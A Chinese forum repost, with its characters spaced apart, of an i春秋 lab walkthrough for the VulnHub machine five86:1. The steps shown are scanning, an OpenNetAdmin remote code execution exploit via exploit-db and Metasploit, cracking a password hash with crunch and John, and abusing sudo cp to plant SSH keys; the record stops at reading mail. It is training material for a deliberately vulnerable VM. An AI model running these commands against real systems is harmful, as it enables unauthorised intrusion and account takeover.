搜索

[19584] 2020-02-25_中级篇丨从0到1靶机实战系列之five861

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-02-25_中级篇丨从0到1靶机实战系列之five861 中 级 篇 丨 从 0 到 1 靶 机 实 战 系 列 之 f i v e 8 6 : 1 i 春 秋   2 0 2 0 - 0 2 - 2 5 什 么 是 靶 机 什 么 是 靶 机 学 习 网 安 攻 防 技 术 一 定 离 不 开 靶 机 的 练 习 。 在 网 络 安 全 中 ， 靶 机 是 指 一 个 存 在 漏 洞 的 系 统 ， 互 联 网 上 所 有 的 网 站 （ 系 统 ） 都 可 以 说 是 “ 靶 机 ” ， 但 是 不 能 直 接 对 未 授 权 的 网 站 （ 系 统 ） 进 行 测 试 。 于 是 就 出 现 了 靶 机 ， i 春 秋 （ h t t p s : / / w w w . i c h u n q i u . c o m / ） 平 台 也 有 很 多 关 于 靶 场 学 习 的 课 程 ， 欢 迎 大 家 前 来 练 习 。 今 天 i 春 秋 分 享 的 是 从 从 0 到 到 1 靶 机 实 战 系 列 之 靶 机 实 战 系 列 之 f i v e 8 6 : 1 ， 本 次 实 验 的 靶 机 来 自 v u l n h u b ， 名 称 为 f i v e 8 6 : 1 ， 难 度 在 中 等 偏 上 ， 适 用 于 企 业 中 从 事 安 全 研 究 人 员 对 k a l i 以 及 L i n u x   s s h 无 验 证 登 录 等 利 用 的 熟 悉 程 度 。 注 ： i   春 秋 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 首 先 把 靶 机 文 件 导 入 到 虚 拟 机 中 ， 网 络 模 式 设 置 为 N A T ， 然 后 使 用 n e t d i s c o v e r 找 到 靶 机 的 I P 。
当 然 使 用 n m a p 也 是 可 以 的 。 N m a p   - A   1 9 2 . * * * / 2 4 可 以 发 现 该 网 段 下 所 有 主 机 和 一 些 基 本 的 信 息 ：
开 放 了 三 个 端 口 ， 分 别 是 2 2 ， 8 0 和 1 0 0 0 （ 这 个 1 0 0 0 端 口 下 其 实 没 啥 有 用 的 东 西 ， 差 不 多 是 个 幌 子 ） 我 们 还 是 访 问 一 下 8 0 端 口 ， 看 看 有 什 么 ： 直 接 访 问 的 话 首 页 是 空 的 ， 查 看 源 代 码 也 看 不 到 任 何 内 容 ， 不 过 我 们 刚 才 用 n m a p 扫 这 个 I P 的 时 候 ， 看 到 根 目 录 下 其 实 是 有 一 个 r o b o t s . t x t 文 件 的 ， 访 问 后 得 到 一 个 目 录 o n a 。
这 里 可 以 看 出 搭 建 了 一 个 o p e n n e t a d m i n 服 务 ， 提 示 我 们 是 g u e s t 账 户 登 陆 。 知 道 了 搭 建 的 服 务 名 称 ， 那 么 我 们 可 以 到 e x p l o i t - d b 找 一 下 看 看 有 没 有 相 关 已 公 开 的 e x p 。 从 e x p l o i t - d b 搜 索 到 了 两 个 可 用 的 e x p ， 一 个 是 m e t a s p l o i t 版 本 的 r b 文 件 ， 另 一 个 是 L i n u x 脚 本 文 件 。 这 两 个 都 是 可 以 使 用 的 ， 这 里 我 分 别 列 出 两 种 简 单 的 使 用 方 法 。 L i n u x   s h e l l 版 首 先 从 e x p l o i t - d b 上 复 制 这 个 r b 文 件 到 本 地 并 保 存 为 e x p . s h （ 名 字 随 意 ， 只 要 没 有 中 文 就 行 ） ， 然 后 使 用 c h m o d   + x   e x p . s h 或 c h m o d   7 5 5   e x p . s h 设 置 权
限 。 接 着 运 行 . / e x p . s h   h t t p : / / 1 9 2 . 1 6 8 . 2 6 . 1 4 6 / o n a   得 到 s h e l l 。 m e t a s p l o i t 版 k a l i 中 内 置 了 一 个 用 于 查 找 e x p 的 工 具 s e a r c h s p l o i t ， 使 用 s e a r c h s p l o i t   o p e n n e t a d m i n 搜 索 到 三 个 可 用 e x p 。 这 里 需 要 注 意 的 是 ， 不 清 楚 什 么 原 因 ， 搜 索 到 的 . s h 文 件 并 不 能 够 直 接 运 行 ， 会 报 错 ， 只 能 复 制 内 容 到 新 文 件 才 可 以 。 从 搜 索 结 果 可 以 看 到 e x p 的
文 件 路 径 ， 在 m e t a s p l o i t 的 e x p l o i t s 文 件 夹 下 新 建 一 个 文 件 夹 o p e n n e t a d m i n ， 然 后 使 用 ： 把 e x p 复 制 到 m e t a s p l o i t 下 ， 因 为 m e t a s p l o i t 本 身 没 有 内 置 这 个 e x p ， 所 以 我 们 只 能 使 用 这 种 方 式 把 e x p 添 加 到 m e t a s p l o i t 的 库 中 。 接 下 来 启 动 m s f c o n s o l e s e a r c h   o p e n n e t a d m i n 搜 索 我 们 刚 创 建 的 e x p 文 件 夹 使 用 u s e   / e x p l o i t s / o p e n n e t a d m i n / e x p 应 用 该 实 例 ， s h o w   o p t i o n s 查 看 一 下 需 要 设 置 的 参 数 。 我 们 只 需 要 设 置 目 标 I P   r h o s t 以 及 本 地 I P   l h o s t 即 可 。 c p   / u s r / s h a r e / e x p l o i t d b / e x p l o i t s / p h p / w e b a p p s / 4 7 7 7 2 . r b   - r   / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / e x p l o i t s / o p e n n e t a d m i n / e x p . r b s e t   r h o s t   1 9 2 . 1 6 8 . 2 6 . 1 4 6 S e t   l h o s t   1 9 2 . 1 6 8 . 2 6 . 1 3 8   ( k a l i 的 I P )
R u n 开 启 e x p 即 可 成 功 建 立 一 个 s e s s i o n 。 s h e l l 进 入 ， 看 一 下 i d 为 w w w - d a t a 。 然 后 搜 索 一 下 有 哪 些 文 件 是 当 前 账 户 可 以 查 看 到 的 。 f i n d   /   - t y p e   f   - u s e r   w w w - d a t a
从 搜 索 结 果 中 看 到 我 们 对 v a r / w w w / h t m l / r e p o r t s / . h t a c c e s s 是 有 权 限 的 ， c a t 查 看 一 下 文 件 内 容 。 从 . h t a c c e s s 文 件 得 到 另 一 个 文 件 地 址 。 这 里 是 一 个 提 示 ， 给 出 了 一 个 用 户 名 D o u g l a s 和 一 个 加 密 后 的 密 码 ， 而 且 密 码 是 由 a e f h r t 组 成 的 十 位 字 符 串 。 我 们 可 以 使 用 k a l i 中 的 c r u n c h 工 具 先 生 成 一 个 密 码 字 典 。 c r u n c h   1 0   1 0   a e f h r t   >   p a s s w o r d . t x t p a s s w o r d . t x t 中 就 是 由 a e f h r t 组 成 的 全 部 十 位 字 符 串 。 然 后 使 用 J o h n   t h e   r i p p e r ( j t r ) 这 款 工 具 进 行 比 对 测 试 用 户 密 码 。 j o h n   — w o r d l i s t = p a s s w o r d . t x t   h a s h . t x t 几 分 钟 后 我 们 得 到 了 D o u g l a s 的 密 码 f a t h e r r r r r 。
有 了 账 号 密 码 ， 我 的 第 一 反 应 是 s s h ， 试 了 一 下 ， 成 功 登 录 d o u g l a s 。 S u d o   - l   看 一 下 当 前 账 号 的 权 限 ， 发 现 对 j e n 这 个 用 户 我 们 只 能 使 用 c p 也 就 是 复 制 功 能 ， 对 于 j e n 这 个 用 户 的 文 件 我 们 没 有 任 何 读 的 权 限 ， 但 是 请 注 意 ， 这 里 我 发 现 j e n 其 实 是 允 许 无 密 码 登 录 的 ， 也 就 是 说 我 们 可 以 使 用 s s h 密 钥 直 接 登 录 到 这 个 账 号 。 但 是 j e n 目 录 下 没 有 . s s h 这 个 文 件 夹 ， 也 没 有 密 钥 文 件 ， 所 以 我 们 需 要 重 新 生 成 并 把 密 钥 文 件 复 制 到 j e n 用 户 目 录 下 ， 而 且 j e n 用 户 对 D o u g l a s 这 个 用 户 文 件 没 有 操 作 权 限 ， 所 以 不 能 直 接 复 制 D o u g l a s 的 s s h 文 件 ， 需 要 把 它 放 到 二 者 都 有 权 限 的 / t m p 临 时 目 录 中 去 。 s s h - k e y g e n   - b   2 0 4 8 生 成 一 个 s s h 密 钥
c p   . s s h / i d _ r s a . p u b   / t m p / a u t h o r i z e d _ k e y s 切 到 t m p 文 件 夹 ， 把 文 件 复 制 到 j e n / 下 s u d o   - u   j e n   / b i n / c p   a u t h o r i z e d _ k e y s   / h o m e / j e n / . s s h / 到 这 里 基 本 上 D o u g l a s 的 任 务 就 完 成 啦 我 们 连 接 到 J e n 刚 进 来 就 提 示 我 们 有 一 封 新 邮 件 ， m a i l 查 看 一 下 邮 件 内 容 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理